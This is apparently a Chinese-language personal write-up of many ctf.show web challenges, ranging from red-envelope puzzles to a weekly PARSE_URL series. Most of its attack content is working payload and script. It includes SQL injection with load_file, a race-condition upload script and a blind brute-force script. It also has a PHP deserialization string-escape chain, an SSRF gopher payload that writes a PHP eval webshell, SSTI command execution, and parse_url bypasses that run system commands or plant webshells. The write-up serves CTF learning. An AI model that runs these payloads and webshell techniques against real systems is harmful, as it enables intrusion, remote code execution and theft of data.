哇去,被耍了,没发现flag,但提示在secret,那应该是在secret.php
1 -1 unionselectload_file('/ var / www / html / secret .php ')
提示了here_1s_your_f1ag.php
再去读得到flag
1 -1 /**/u nion/**/ select/**/ load_file('/real_flag_is_here' )
web红包题第六弹 扫目录,扫到web.zip。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 function receiveStreamFile($receiveFile){ $streamData = isset($GLOBALS['HTTP_RAW_POST_DATA' ])? $GLOBALS['HTTP_RAW_POST_DATA' ] : '' ; if (empty($streamData)){ $streamData = file_get_contents('php://input' ); } if ($streamData!='' ){ $ret = file_put_contents($receiveFile, $streamData, true); }else { $ret = false; } return $ret; }if (md5(date("i" )) === $token){ $receiveFile = 'flag.dat' ; receiveStreamFile($receiveFile); if (md5_file($receiveFile)===md5_file("key.dat" )){ if (hash_file("sha512" ,$receiveFile)!=hash_file("sha512" ,"key.dat" )){ $ret['success' ]="1" ; $ret['msg' ]="人脸识别成功!$flag" ; $ret['error' ]="0" ; echo json_encode($ret); return ; } $ret['errormsg' ]="same file" ; echo json_encode($ret); return ; } $ret['errormsg' ]="md5 error" ; echo json_encode($ret); return ; } $ret['errormsg' ]="token error" ; echo json_encode($ret);return ;
简单分析一下,date(“i”)是表示当前分钟的意思,需要让$token和md5加密后的它相等。
再判断两个文件的md5值是否相等,而且sha1值不同。这里用并发编程,将$receiveFile中的内容在极短时间内进行替换 来绕过
网上找的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport timeimport hashlibimport threading i=str (time.localtime().tm_min) m=hashlib.md5(i.encode()).hexdigest() url="http://063e4649-b8da-4090-8a6b-da6b11fa5f07.challenge.ctf.show/check.php?token={}&php://input" .format (m)def POST (data ): try : r=requests.post(url,data=data) if "ctfshow" in r.text: print (r.text) pass pass except Exception as e: print ("somthing went wrong!" ) pass pass with open ('key.dat' ,'rb' ) as t: data1=t.read() pass for i in range (50 ): threading.Thread(target=POST,args=(data1,)).start()for i in range (50 ): data2='emmmmm' threading.Thread(target=POST,args=(data2,)).start()
红包题第七弹 目录扫描,扫到了/.git/index
访问下载下来
本来以为是git泄露,但是不知道为什么自己的githack一直clone不了(看别人Git_Extract好像可以获取源码)
发现backdoor.php路径,再去访问
说了有后门,原来就是Letmein(后门),蚁剑连接,在/var/www/flag.txt,但是查看不了
然后用POST传参,highlight_file就可以了
萌新专属红包题 账号admin 密码admin888
登录查看网络,发现check.php的响应标识头有一个flag
1 Y3 Rmc2 hvd3 swMjY0 NTNkNC0 zOWNmLTQwYzMtOTEyMy03 YzEyYmU3 NWY2 Nzh9
base64解密得到flag
CTFshow web1 提示了flag在指定用户的密码中。
登录和注册页面都没有注入漏洞,于是随便注册个账号进去
再试了下注入order,发现也不行
扫描目录www.zip有源码
看wp才知道利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),真没想到
网上搬了个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requests url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show" url1=url+"/reg.php" url2=url+"/login.php" url3=url+"/user_main.php?order=pwd" k="" s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~" for j in range (0 ,45 ): print ("*" ) for i in s: l="" l=k+i l2 = k+chr (ord (i)-1 ) data={'username' :l, 'email' :'c' , 'nickname' :'c' , 'password' :l } data2={'username' :l, 'password' :l } if (l=='flag' ): k='flag' print (k) break session = requests.session() r1 = session.post(url1,data) r2 = session.post(url2,data) r3 = session.get(url3) t = r3.text if (t.index("<td>" +l+"</td>" )>t.index("<td>flag@ctf.show</td>" )): k=l2 print (k) break
爆了好久,运行拿到flag,真没想到是这个思路,还是经验不足
game-gyctf web2 新知识点: php反序列化字符串逃逸
来自csdn师傅的解释:PHP在进行反序列化的时候,只要前面的字符串符合反序列化的规则并能成功反序列化,那么将忽略后面多余的字符串
参考csdn师傅文章 ,还是搬了一些内容,还是挂一下版权声明吧
扫描目录发现www.zip,解压得到源码,包含4个文件index.php、lib.php、login.php、update.php
简单审计一下
index.php:没什么好看的,就可以通过?action=来访问到login和update文件(不需要满足($_SESSION[‘login’]==1)),或者直接访问update.php路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php require_once "lib.php" ;if (isset ($_GET ['action' ])){ require_once (__DIR__ ."/" .$_GET ['action' ].".php" ); }else { if ($_SESSION ['login' ]==1 ){ echo "<script>window.location.href='./index.php?action=update'</script>" ; } else { echo "<script>window.location.href='./index.php?action=login'</script>" ; } }?>
再看login.php的部分:基本过滤掉了很多字符,基本很难再进行sql注入,同时有个$user->login()(后面会提到)
1 2 3 4 5 6 7 8 9 10 11 12 <?php $user =new user ();if (isset ($_POST ['username' ])){ if (preg_match ("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i" , $_POST ['username' ])){ die ("<br>Damn you, hacker!" ); } if (preg_match ("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i" , $_POST ['password' ])){ die ("Damn you, hacker!" ); } $user ->login (); }?>
update.php:给出拿flag的条件($_SESSION[‘login’]===1)
1 2 3 4 5 6 7 8 9 10 11 12 <?php require_once ('lib.php' );if ($_SESSION ['login' ]!=1 ){ echo "你还没有登陆呢!" ; }$users =new User ();$users ->update ();if ($_SESSION ['login' ]===1 ){ require_once ("flag.php" ); echo $flag ; }?>
最后就是关键的lib.php:存在反序列化漏洞,存在serialize()和unserialize()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 <?php error_reporting (0 );session_start ();function safe ($parm ) { $array = array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace ($array ,'hacker' ,$parm ); }class User { public $id ; public $age =null ; public $nickname =null ; public function login ( ) { if (isset ($_POST ['username' ])&&isset ($_POST ['password' ])){ $mysqli =new dbCtrl (); $this ->id=$mysqli ->login ('select id,password from user where username=?' ); if ($this ->id){ $_SESSION ['id' ]=$this ->id; $_SESSION ['login' ]=1 ; echo "你的ID是" .$_SESSION ['id' ]; echo "你好!" .$_SESSION ['token' ]; echo "<script>window.location.href='./update.php'</script>" ; return $this ->id; } } } public function update ( ) { $Info =unserialize ($this ->getNewinfo ()); $age =$Info ->age; $nickname =$Info ->nickname; $updateAction =new UpdateHelper ($_SESSION ['id' ],$Info ,"update user SET age=$age ,nickname=$nickname where id=" .$_SESSION ['id' ]); } public function getNewInfo ( ) { $age =$_POST ['age' ]; $nickname =$_POST ['nickname' ]; return safe (serialize (new Info ($age ,$nickname ))); } public function __destruct ( ) { return file_get_contents ($this ->nickname); } public function __toString ( ) { $this ->nickname->update ($this ->age); return "0-0" ; } }class Info { public $age ; public $nickname ; public $CtrlCase ; public function __construct ($age ,$nickname ) { $this ->age=$age ; $this ->nickname=$nickname ; } public function __call ($name ,$argument ) { echo $this ->CtrlCase->login ($argument [0 ]); } } Class UpdateHelper{ public $id ; public $newinfo ; public $sql ; public function __construct ($newInfo ,$sql ) { $newInfo =unserialize ($newInfo ); $upDate =new dbCtrl (); } public function __destruct ( ) { echo $this ->sql; } }class dbCtrl { public $hostname ="127.0.0.1" ; public $dbuser ="noob123" ; public $dbpass ="noob123" ; public $database ="noob123" ; public $name ; public $password ; public $mysqli ; public $token ; public function __construct ( ) { $this ->name=$_POST ['username' ]; $this ->password=$_POST ['password' ]; $this ->token=$_SESSION ['token' ]; } public function login ($sql ) { $this ->mysqli=new mysqli ($this ->hostname, $this ->dbuser, $this ->dbpass, $this ->database); if ($this ->mysqli->connect_error) { die ("连接失败,错误:" . $this ->mysqli->connect_error); } $result =$this ->mysqli->prepare ($sql ); $result ->bind_param ('s' , $this ->name); $result ->execute (); $result ->bind_result ($idResult , $passwordResult ); $result ->fetch (); $result ->close (); if ($this ->token=='admin' ) { return $idResult ; } if (!$idResult ) { echo ('用户不存在!' ); return false ; } if (md5 ($this ->password)!==$passwordResult ) { echo ('密码错误!' ); return false ; } $_SESSION ['token' ]=$this ->name; return $idResult ; } public function update ($sql ) { } }
先看一下dbCtr
l类:登陆成功的条件:① 用户名存在,且$this->password的md5值与数据库查询的用户密码相同。② token的值为admin。
代码中的查询语句为select id,password from user where username=?,
但其实执行的sql语句是我们可控的(后面再说明),这样的话我们只需要将查询语句写成下面这个样子:
1 select 1 ,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
然后再将$this->password
的值赋为1(1的md5值为c4ca4238a0b923820dcc509a6f75849b),即可通过登录密码的验证。
为什么呢?SELECT 1, 1 FROM user WHERE username = <value>
这里的查询返回结果已经被设置为固定值1,1(之后分别赋给$idResult, $passwordResult)。这样就可以绕过if语句的判断
确定了输出flag的方式后,接下来就是利用反序列化漏洞来构造特定的sql语句,逆推正推都可以,这里就正推分析吧(虽然逆推思路比较清晰,但正推似乎比较好理解)
先找反序列化入口,一般是wakeup()和destruct()魔术方法
UpdateHelper
类的destruct中有输出,将$sql实例化为User类的对象,echo使得在该类结束销毁时会调用User
类toString方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 Class UpdateHelper{ public $id ; public $newinfo ; public $sql ; public function __construct ($newInfo ,$sql ) { $newInfo =unserialize ($newInfo ); $upDate =new dbCtrl (); } public function __destruct ( ) { echo $this ->sql; } }
再去看User类的toString():
1 2 3 4 5 6 7 8 9 10 11 class User { public $id ; public $age =null ; public $nickname =null ; public function __toString ( ) { $this ->nickname->update ($this ->age); return "0-0" ; } }
用$nickname
变量调用了update()
函数,且$age
变量作为参数。这样我们只需要将$nicknames
实例化为Info
类的对象($this->nickname = new Info();),从而可以调用Info
类的call方法,且$age
中的值会作为参数传入。
再去看Info类的call():
1 2 3 4 5 6 7 8 9 10 11 12 class Info { public $age ; public $nickname ; public $CtrlCase ; public function __construct ($age ,$nickname ) { $this ->age=$age ; $this ->nickname=$nickname ; } public function __call ($name ,$argument ) { echo $this ->CtrlCase->login ($argument [0 ]); } }
1 $CtrCase 调用了dbCtrl类中的login ()方法,dbCtrl类login ($sql )中的$sql 参数,实际上是User类中$age 变量传入的。其参数sql语句可以控制。
构造出payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class User { public $age = null ; public $nickname = null ; public function __construct ( ) { $this ->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?' ; $this ->nickname = new Info (); } }class Info { public $CtrlCase ; public function __construct ( ) { $this ->CtrlCase = new dbCtrl (); } }class UpdateHelper { public $sql ; public function __construct ( ) { $this ->sql = new User (); } }class dbCtrl { public $name = "admin" ; public $password = "1" ; }$o = new UpdateHelper ;echo serialize ($o );
payload有了,该怎么传入呢?(serialize()、unserialize())
User
类的update()
函数:
1 2 3 4 5 6 7 public function update ( ) { $Info = unserialize ($this ->getNewinfo ()); $age = $Info ->age; $nickname = $Info ->nickname; $updateAction = new UpdateHelper ($_SESSION ['id' ], $Info , "update user SET age=$age ,nickname=$nickname where id=" . $_SESSION ['id' ]); }
可以看到反序列化的是getNewinfo()
函数的返回值,跟进这个函数:
1 2 3 4 5 6 public function getNewInfo ( ) { $age = $_POST ['age' ]; $nickname = $_POST ['nickname' ]; return safe (serialize (new Info ($age , $nickname ))); }
这个函数的返回值是一个先序列化 再经过safe()
函数处理的Info
类对象。
所以最终能够反序列化的不是我们直接传入的字符串,而是用我们传入的值实例化一个Info
类的对象,然后对这个对象进行序列化,载对这个序列化结果进行safe()
处理,最后得到的值再进行反序列化。
safe()
函数如下:
1 2 3 4 5 function safe ($parm ) { $array = array ('union' , 'regexp' , 'load' , 'into' , 'flag' , 'file' , 'insert' , "'" , '\\' , "*" , "alter" ); return str_replace ($array , 'hacker' , $parm ); }
看这个函数:将长度小于6的字符串直接替换成了长度为6的hacker。
如果我们将刚才得到的payload直接用age或nickname参数传入的化,其实际上只会被当成Info
类里的一个很长的字符串,并不能被反序列化得到执行。
所以要想反序列化我们的payload,就得控制Info
类对象的序列化串,这里就需要利用safe()函数去实现字符串逃逸:union
=> hacker
字符串逃逸实现方式:关键字增加、关键字减少
搬一下大佬的解释和图片(在开会不方便操作,其实是懒)
这里我们使用关键字增加的方式(利用safe()函数的替换 由union
=> hacker
长度5变成长度6,逃逸出后面的内容)。修改我们获得的payload。
假设我们要通过nickname参数来注入,先看一下我们构造的payload2如下(未逃逸字符串前):
1 ";s:8:" CtrlCase";O:12:" UpdateHelper":1:{s:3:" sql";O:4:" User":2:{s:3:" age";s:70:" select 1 ,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:" nickname";O:4:" Info":1:{s:8:" CtrlCase";O:6:" dbCtrl":2:{s:4:" name";s:5:" admin";s:8:" password";s:1:" 1 ";}}}}}
可以看到我们在而已序列化串前加上了";s:8:"CtrlCase";
,在最后加上了一个}
(整个长度为263),这样我们将其作为new Info($age,$nickname)
的nickname传入时,序列化的结果如下:
上图中两个箭头之间的内容就是我们传入的payload,可以看到我们在第一个箭头那里是想闭合双引号,从而使后面的内容符合序列化的规则的。但是我圈出来的那个263在序列化的规则里,限制了nickname的长度为263,所以后面长度为263的payload还是当作了一个普通字符串,而不是序列化里的内容。
这时候就需要用到字符逃逸的原理了,我们在payload2的前面加上263个union,这样我上面圈出来的值就变成了263 × 5 + 263 = 1578 ,上面第一个箭头所指的双引号里是263个union(长度为263 × 5 = 1315),当对这个序列化串进行safe()函数的处理时,所有的union都被替换成了hacker,也就是双引号里的内容变成了263个hacker(长度为263 × 6 = 1578 263×6=1578263×6=1578),正好等于前面的1579,如下:
上面的图可以看出来经过safe()函数处理后,这个序列化串就被解释成了nickname变量长度为1586的重复hacker字符串,而我们的而已序列化payload,则以对象的形式作为CtrCase变量的值。 而之所前面构造的时候在最后面加一个},是因为Info类的对象只有3个变量(第一个箭头所指),当到我们第二个箭头所指的位置时,前面已经有3个变量满足了序列化串的要求了,所以加一个}来闭合整个序列化串。这样由于前面的内容已经符合反序列化的规则,所以后面的内容都将被忽略。
1 age=1 &nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:" CtrlCase";O:12:" UpdateHelper":1:{s:3:" sql";O:4:" User":2:{s:3:" age";s:70:" select 1 ,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:" nickname";O:4:" Info":1:{s:8:" CtrlCase";O:6:" dbCtrl":2:{s:4:" name";s:5:" admin";s:8:" password";s:1:" 1 ";}}}}}
在update.php以POST传入上面的payload,此时反序列化被执行,在login函数里面已经成功验证了,token被设置为了admin
,所以再回到登录界面使用任意密码即可登录admin账户
拿到flag
第一次涉及还是费了些时间去了解,不过又有新收获啦
web15 Fishman www.zip源码
盲注
红包题第九弹 ssrf攻击mysql
1 python2 gopherus.py --exploit mysql
1 select ' <?php eval ($_POST [a]); ?> ' INTO OUTFILE '/var/www/html/1.php';
1 gopher: //127.0 .0.1 :3306 /_%a3 %00 %00 %01 %85 %a6 %ff %01 %00 %00 %00 %01 %21 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %72 %6 f%6 f%74 %00 %00 %6 d%79 %73 %71 %6 c %5 f%6 e%61 %74 %69 %76 %65 %5 f%70 %61 %73 %73 %77 %6 f%72 %64 %00 %66 %03 %5 f%6 f%73 %05 %4 c %69 %6 e%75 %78 %0 c %5 f%63 %6 c %69 %65 %6 e%74 %5 f%6 e%61 %6 d%65 %08 %6 c %69 %62 %6 d%79 %73 %71 %6 c %04 %5 f%70 %69 %64 %05 %32 %37 %32 %35 %35 %0 f%5 f%63 %6 c %69 %65 %6 e%74 %5 f%76 %65 %72 %73 %69 %6 f%6 e%06 %35 %2 e%37 %2 e%32 %32 %09 %5 f%70 %6 c %61 %74 %66 %6 f%72 %6 d%06 %78 %38 %36 %5 f%36 %34 %0 c %70 %72 %6 f%67 %72 %61 %6 d%5 f%6 e%61 %6 d%65 %05 %6 d%79 %73 %71 %6 c %47 %00 %00 %00 %03 %73 %65 %6 c %65 %63 %74 %20 %27 %3 c %3 f%70 %68 %70 %20 %65 %76 %61 %6 c %28 %24 %5 f%50 %4 f%53 %54 %5 b%61 %5 d%29 %3 b%20 %3 f%3 e%27 %20 %49 %4 e%54 %4 f%20 %4 f%55 %54 %46 %49 %4 c %45 %20 %27 %2 f%76 %61 %72 %2 f%77 %77 %77 %2 f%68 %74 %6 d%6 c %2 f%31 %2 e%70 %68 %70 %27 %3 b%01 %00 %00 %00 %01
蚁剑连接,拿到flag
红包题 葵花宝典 6,注册登录,拿flag
红包题 辟邪剑谱 sql注入基本过滤完了
试试sql约束攻击,假如数据库对user做了长度限制,当你的用户名超出长度,它会将后面内容截断。即可将它的密码直接改掉
注册一个:
密码为123,然后用admin,密码123登录
【nl】难了 1 2 3 4 5 6 7 8 9 10 <?php show_source (__FILE__ );error_reporting (0 );if (strlen ($_GET [1 ])<4 ){ echo shell_exec ($_GET [1 ]); }else { echo "hack!!!" ; }?>
要求指令长度小于4
先了解一下shell_exec()函数:函数用于执行外部命令,并将其输出作为字符串返回给调用者。它允许你在PHP脚本中调用系统级命令,并捕获其输出。
用 nl 列出文件的内容:nl test.txt
由于Linux中可以将文件名作为函数和参数,通过星号通配执行
先新建一个名称是nl的文件作为指令
*
号代表字符串nl xxx.php
,将当前目录下所有文件的名字列出来,将其写入一个空文件z
访问该文件就会自动执行字符串nl xxx.php,下载下来文件,从而查看到文件内容
红包挑战7 CTFshow-红包挑战7题目解析 - 飞书云文档 (feishu.cn)
红包挑战8 CTFshow-红包挑战8题目解析 - 飞书云文档 (feishu.cn)
第三届愚人杯 easy_signin
发现一段base64加密,解密后为face.png
于是加密index.php然后传参得到一串base64的密文
解密发现flag
easy_ssti f12源代码中提醒的个app.zip
下载下来
打开知道是python的flask框架,直接套用
1 {{lipsum.__globals__ ['os'].popen('ls' ).read()}}
去执行命令
发现过滤了/,用${PATH:0:1}代替
1 /hello/name= {{lipsum.__globals__ ['os'].popen('cat ${PATH:0:1}*' ).read()}}
被遗忘的反序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 <?php error_reporting (0 );show_source (__FILE__ );include ("check.php" );class EeE { public $text ; public $eeee ; public function __wakeup ( ) { if ($this ->text == "aaaa" ){ echo lcfirst ($this ->text); } } public function __get ($kk ) { echo "$kk ,eeeeeeeeeeeee" ; } public function __clone ( ) { $a = new cycycycy; $a -> aaa (); } }class cycycycy { public $a ; private $b ; public function aaa ( ) { $get = $_GET ['get' ]; $get = cipher ($get ); if ($get === "p8vfuv8g8v8py" ){ eval ($_POST ["eval" ]); } } public function __invoke ( ) { $a_a = $this -> a; echo "\$a_a\$" ; } }class gBoBg { public $name ; public $file ; public $coos ; private $eeee ="-_-" ; public function __toString ( ) { if (isset ($this ->name)){ $a = new $this ->coos ($this ->file); echo $a ; }else if (!isset ($this -> file)){ return $this ->coos->name; }else { $aa = $this ->coos; $bb = $this ->file; return $aa (); } } } class w_wuw_w { public $aaa ; public $key ; public $file ; public function __wakeup ( ) { if (!preg_match ("/php|63|\*|\?/i" ,$this -> key)){ $this ->key = file_get_contents ($this -> file); }else { echo "不行哦" ; } } public function __destruct ( ) { echo $this ->aaa; } public function __invoke ( ) { $this -> aaa = clone new EeE; } }$_ip = $_SERVER ["HTTP_AAAAAA" ];unserialize ($_ip );
gBoBg类中有个点可以用原生类
1 2 3 if (isset ($this ->name)){ $a = new $this ->coos ($this ->file); echo $a ;
先用DirectoryIterator读取文件目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class gBoBg { public $name ; public $file ; public $coos ; } class w_wuw_w { public $aaa ; public $key ; public $file ; }$w =new w_wuw_w ();$a =new gBoBg ();$w ->aaa=$a ;$a ->name="1" ;$a ->file="glob:///*f*" ;$a ->coos="DirectoryIterator" ;echo serialize ($w );
再用SplFileObject
类读取文件内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class gBoBg { public $name ; public $file ; public $coos ; } class w_wuw_w { public $aaa ; public $key ; public $file ; }$w =new w_wuw_w ();$a =new gBoBg ();$w ->aaa=$a ;$a ->name="1" ;$a ->file="/f1agaaa" ;$a ->coos="SplFileObject" ;echo serialize ($w );
easy_flask 好吧,环境打开不了,打开靶机还是一直403,复现不了了
大概就是flask session伪造然后任意文件下载,再是命令执行
session伪造可以参考litctf那题
ctfshow每周大挑战 PARSE_URL 官方wp
第一关 题目就三行代码
1 2 3 4 5 <?php $data = parse_url ($_GET ['u' ]);eval ($data ['host' ]);
parse_url()
函数会将 URL 字符串解析成一个关联数组,包含了 URL 的各个部分,例如协议、主机、端口、路径、查询参数等信息。例如,对于 URL https://example.com/path?foo=bar
,parse_url()
函数的返回结果可能是:
1 2 3 4 5 6 array ( 'scheme' => 'https' , 'host' => 'example .com', 'path' => '/path' , 'query' => 'foo =bar' )
eval()
函数用于将字符串作为 PHP 代码执行。
system()
函数用于执行外部命令并将其输出返回给 PHP 脚本。
passthru()
用于执行外部命令并将其输出直接传递给输出缓冲区。
所以要执行操作系统的命令(如ls)还是需要通过eval引入system或者passthru()
一开始是构造成这样的:
1 http://e09dbef7-7b73 -47dd-b5f4-a48d18bc6db4.challenge.ctf.show /?u=https://passthru("ls" );
这样是可以执行的,但当想继续执行其他命令的时候,比如ls ../
发现并不能成功执行,应该是不能成功执行带*/*的命令了吧
后来想了想是因为
1 http://e09dbef7-7b73 -47dd-b5f4-a48d18bc6db4.challenge.ctf.show /?u=https://passthru("ls ../" );
这里/
后面的字符被识别为了path,也就是路径
这样的话就得想其他的办法了,这时候想到一句话木马的格式eval(@$_POST[‘a’]);
关于@位置不同,效果不同的解释:@
符号是一个错误抑制操作符,用于抑制表达式中的错误和警告消息。当 @
符号紧跟在函数名或表达式之前时,如果该函数或表达式发生错误,PHP 将不会显示错误消息。
然后再通过POST传参system(“commannd”);来执行。这样就避免了/
后面被识别成路径了
1 2 http://e09dbef7-7b73-47dd-b5f4-a48d18bc6db4.challenge.ctf.show/?u=https://@eval($_POST ['a' ]); 再post传参 a=system("cat /*f* ");
这样就得到flag了
第二关 1 2 3 4 5 6 <?php $data = parse_url ($_GET ['u' ]);include $data ['host' ].$data ['path' ];
这里可以使用包含伪协议,比如include php://input
然后post传入一个脚本就能执行,例如:
1 <?php system ("cat /*f*" );
1 http ://440 e901d-460 e-4 af6-a18b-462317 bf6524.challenge.ctf.show/?u=https://php:://input
这里之所以会有两个:
是因为其中一个会被识别成端口号,而不能拼接成include php://input
又发现用hackbar好像不行,用bp就可以了
后面发现用hackbar直接post传,没有类似的a=123,这样的格式它是不会post数据的,也就是直接传<?php system(“cat /f “);在bp抓包数据中看不到,即没有用post传
第三关 1 2 3 4 <?php $data = parse_url ($_GET ['u' ]);include $data ['scheme' ].$data ['path' ];
这题跟上一条唯一的不同就是,它把**$data[‘host’]改成了 $data[‘scheme’]**
而scheme对应的就是协议名,所以这次只要稍微改一下协议名就可以了
这样就可以了,我一开始以为这样的话input会被识别成host,所以试了其他的一些方法都不行
后来在本地调试,发现了这样可以
第四关 1 2 3 <?php $data = parse_url ($_GET ['u' ]);system ($data ['host' ]);
这个直接传cat /*f*
就可以了,但又碰到了第一个所遇到的/
后面会被识别为路径导致不行
看了学长的wp,发现可以用${PATH:0:1}
代替/
,还有一些方法在他的ctf里读取文件相关知识点总结 都提到了
1 ?u =https://cat ${PATH:0:1} *f *
当然直接这样还是不行的,这里的:
会将后面的内容当中端口
于是在结尾加上:
就可以将前面的内容全部当作host啦
第五关 1 2 3 <?php extract (parse_url ($_GET ['u' ]));include $$$$$$host ;
extract():用于将数组中的键值对转换为相应的变量和值。
例如:
1 2 3 4 5 6 7 8 9 10 11 $data = array ( 'name' => 'John' , 'age' => 25 , 'city' => 'New York' );extract ($data );echo $name ; echo $age ; echo $city ;
套娃,套了6层,意思是需要我们一层跳一层,最后执行我们的命令system(‘cat /f ‘)
最后构造出来
1 ?u=user://pass:query@scheme/?fragment%23data://, <?php system ('cat /*f*' );?>
scheme
:user
host
:pass
user
:query
path
:/
fragment
:data://
query
:fragment
pass
:scheme
第六关 1 2 3 <?php $data = parse_url ($_GET ['u' ]);file_put_contents ($data ['path' ], $data ['host' ]);
file_put_contents:是 PHP 中的一个内置函数,用于将数据写入文件。它提供了一种简单的方式来将字符串或数据写入指定的文件。
以下是 file_put_contents()
函数的基本语法:
1 file_put_contents (string $filename , mixed $data [, int $flags = 0 [, resource $context ]]);
参数说明:
$filename
:要写入数据的目标文件名,包括文件路径。
$data
:要写入的数据,可以是字符串、数组或其他支持的数据类型。
$flags
(可选):可选的标志参数,用于设置写入文件的行为。常用的标志有 FILE_APPEND
(追加模式)和 LOCK_EX
(获取独占锁)。
$context
(可选):可选的上下文资源,通常用于指定额外的参数和选项。
使用 file_put_contents()
函数,可以方便地将数据写入文件。如果文件不存在,则会创建新文件并写入数据。如果文件已存在,则会覆盖原有内容,并写入新的数据。
以下是一个示例,将字符串写入文件:
1 2 3 4 $file = 'example.txt' ;$data = 'Hello, world!' ;file_put_contents ($file , $data );
在这个示例中,file_put_contents()
函数将字符串 'Hello, world!'
写入名为 example.txt
的文件中。如果文件不存在,将创建新文件;如果文件已存在,将覆盖原有内容。
1 ?u=https:// <?php system ('cat ${PATH:0:1}*f*' );:/var /www/html/1 .php
但这样,<?php中的?之后的内容会被识别为query而不是host
所以可以换个不用问号的写法,<script language="php">
1 2 ?u=https: //<script language="php" >system('ls ${PATH:0:1}*f*' );:/var/www/html/ 1 .php ?u=https: //<script language="php" >system('cat ${PATH:0:1}*f*' );:/var/www/html/ 2 .php
接着访问2.php就可以了